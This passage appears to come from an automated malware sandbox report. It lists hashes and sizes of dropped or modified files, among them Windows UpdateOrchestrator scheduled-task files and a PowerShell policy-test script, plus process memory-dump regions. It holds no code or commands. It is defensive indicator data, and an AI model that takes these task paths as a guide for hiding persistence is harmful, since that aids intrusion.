                                                                                                                                        Filesize

                                                                                                                                        151KB

                                                                                                                                        MD5

                                                                                                                                        b8479a23c22cf6fc456e197939284069

                                                                                                                                        SHA1

                                                                                                                                        b2d98cc291f16192a46f363d007e012d45c63300

                                                                                                                                        SHA256

                                                                                                                                        18294ee5a6383a48d1bcf2703f17d815529df3a17580e027c3efea1800900e8f

                                                                                                                                        SHA512

                                                                                                                                        786cd468ce3723516dc869b09e008ec5d35d1f0c1a61e70083a3be15180866be637bd7d8665c2f0218c56875a0ee597c277e088f77dd403bdd2182d06bad3bd4

                                                                                                                                      • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                                        Filesize

                                                                                                                                        2KB

                                                                                                                                        MD5

                                                                                                                                        8abf2d6067c6f3191a015f84aa9b6efe

                                                                                                                                        SHA1

                                                                                                                                        98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

                                                                                                                                        SHA256

                                                                                                                                        ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

                                                                                                                                        SHA512

                                                                                                                                        c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

                                                                                                                                      • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                                        Filesize

                                                                                                                                        2KB

                                                                                                                                        MD5

                                                                                                                                        f313c5b4f95605026428425586317353

                                                                                                                                        SHA1

                                                                                                                                        06be66fa06e1cffc54459c38d3d258f46669d01a

                                                                                                                                        SHA256

                                                                                                                                        129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

                                                                                                                                        SHA512

                                                                                                                                        b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

                                                                                                                                      • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                                        Filesize

                                                                                                                                        2KB

                                                                                                                                        MD5

                                                                                                                                        ceb7caa4e9c4b8d760dbf7e9e5ca44c5

                                                                                                                                        SHA1

                                                                                                                                        a3879621f9493414d497ea6d70fbf17e283d5c08

                                                                                                                                        SHA256

                                                                                                                                        98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

                                                                                                                                        SHA512

                                                                                                                                        1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

                                                                                                                                      • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                                        Filesize

                                                                                                                                        2KB

                                                                                                                                        MD5

                                                                                                                                        7d612892b20e70250dbd00d0cdd4f09b

                                                                                                                                        SHA1

                                                                                                                                        63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

                                                                                                                                        SHA256

                                                                                                                                        727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

                                                                                                                                        SHA512

                                                                                                                                        f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

                                                                                                                                      • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                                        Filesize

                                                                                                                                        2KB

                                                                                                                                        MD5

                                                                                                                                        1e8e2076314d54dd72e7ee09ff8a52ab

                                                                                                                                        SHA1

                                                                                                                                        5fd0a67671430f66237f483eef39ff599b892272

                                                                                                                                        SHA256

                                                                                                                                        55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

                                                                                                                                        SHA512

                                                                                                                                        5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

                                                                                                                                      • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                                        Filesize

                                                                                                                                        2KB

                                                                                                                                        MD5

                                                                                                                                        0b990e24f1e839462c0ac35fef1d119e

                                                                                                                                        SHA1

                                                                                                                                        9e17905f8f68f9ce0a2024d57b537aa8b39c6708

                                                                                                                                        SHA256

                                                                                                                                        a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

                                                                                                                                        SHA512

                                                                                                                                        c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

                                                                                                                                      • C:\Windows\Temp\__PSScriptPolicyTest_nch4nddi.bag.ps1

                                                                                                                                        Filesize

                                                                                                                                        60B

                                                                                                                                        MD5

                                                                                                                                        d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                        SHA1

                                                                                                                                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                        SHA256

                                                                                                                                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                        SHA512

                                                                                                                                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                      • memory/612-73-0x00007FF9E2050000-0x00007FF9E2060000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/612-66-0x0000022FFC390000-0x0000022FFC3B7000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        156KB

                                                                                                                                      • memory/612-65-0x0000022FFC390000-0x0000022FFC3B7000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        156KB

                                                                                                                                      • memory/612-64-0x0000022FFBFC0000-0x0000022FFBFE2000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        136KB

                                                                                                                                      • memory/612-72-0x0000022FFC390000-0x0000022FFC3B7000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        156KB

                                                                                                                                      • memory/672-84-0x00007FF9E2050000-0x00007FF9E2060000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/672-77-0x000002D1EDC00000-0x000002D1EDC27000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        156KB

                                                                                                                                      • memory/672-83-0x000002D1EDC00000-0x000002D1EDC27000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        156KB

                                                                                                                                      • memory/948-95-0x00007FF9E2050000-0x00007FF9E2060000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/948-88-0x0000017141900000-0x0000017141927000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        156KB

                                                                                                                                      • memory/948-94-0x0000017141900000-0x0000017141927000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        156KB

                                                                                                                                      • memory/1016-99-0x000002316FF20000-0x000002316FF47000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        156KB

                                                                                                                                      • memory/1532-0-0x00007FFA03FC3000-0x00007FFA03FC5000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        8KB

                                                                                                                                      • memory/1532-1-0x0000000000BC0000-0x0000000000C44000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        528KB

                                                                                                                                      • memory/2108-16-0x00007FFA03FC0000-0x00007FFA04A81000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        10.8MB

                                                                                                                                      • memory/2108-833-0x00007FFA03FC0000-0x00007FFA04A81000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        10.8MB

                                                                                                                                      • memory/2108-14-0x0000000000270000-0x000000000027E000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        56KB

                                                                                                                                      • memory/3444-47-0x0000022CC4490000-0x0000022CC44B2000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        136KB

                                                                                                                                      • memory/3444-50-0x00007FFA21040000-0x00007FFA210FE000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        760KB

                                                                                                                                      • memory/3444-49-0x00007FFA21FD0000-0x00007FFA221C5000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        2.0MB

                                                                                                                                      • memory/3444-48-0x0000022CDCCC0000-0x0000022CDCCE8000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        160KB

                                                                                                                                      • memory/4536-25-0x000002B75AD10000-0x000002B75AD11000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4KB

                                                                                                                                      • memory/4536-28-0x000002B75AD10000-0x000002B75AD11000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4KB

                                                                                                                                      • memory/4536-17-0x000002B75AD10000-0x000002B75AD11000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4KB

                                                                                                                                      • memory/4536-19-0x000002B75AD10000-0x000002B75AD11000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4KB

                                                                                                                                      • memory/4536-18-0x000002B75AD10000-0x000002B75AD11000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4KB

                                                                                                                                      • memory/4536-29-0x000002B75AD10000-0x000002B75AD11000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4KB

                                                                                                                                      • memory/4536-27-0x000002B75AD10000-0x000002B75AD11000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4KB

                                                                                                                                      • memory/4536-26-0x000002B75AD10000-0x000002B75AD11000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4KB

                                                                                                                                      • memory/4536-24-0x000002B75AD10000-0x000002B75AD11000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4KB

                                                                                                                                      • memory/4536-23-0x000002B75AD10000-0x000002B75AD11000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4KB

                                                                                                                                      • memory/5020-51-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        32KB

                                                                                                                                      • memory/5020-54-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        32KB

                                                                                                                                      • memory/5020-56-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        32KB

                                                                                                                                      • memory/5020-61-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        32KB

                                                                                                                                      • memory/5020-59-0x00007FFA21FD0000-0x00007FFA221C5000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        2.0MB

                                                                                                                                      • memory/5020-60-0x00007FFA21040000-0x00007FFA210FE000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        760KB

                                                                                                                                      • memory/5020-53-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        32KB

                                                                                                                                      • memory/5020-52-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        32KB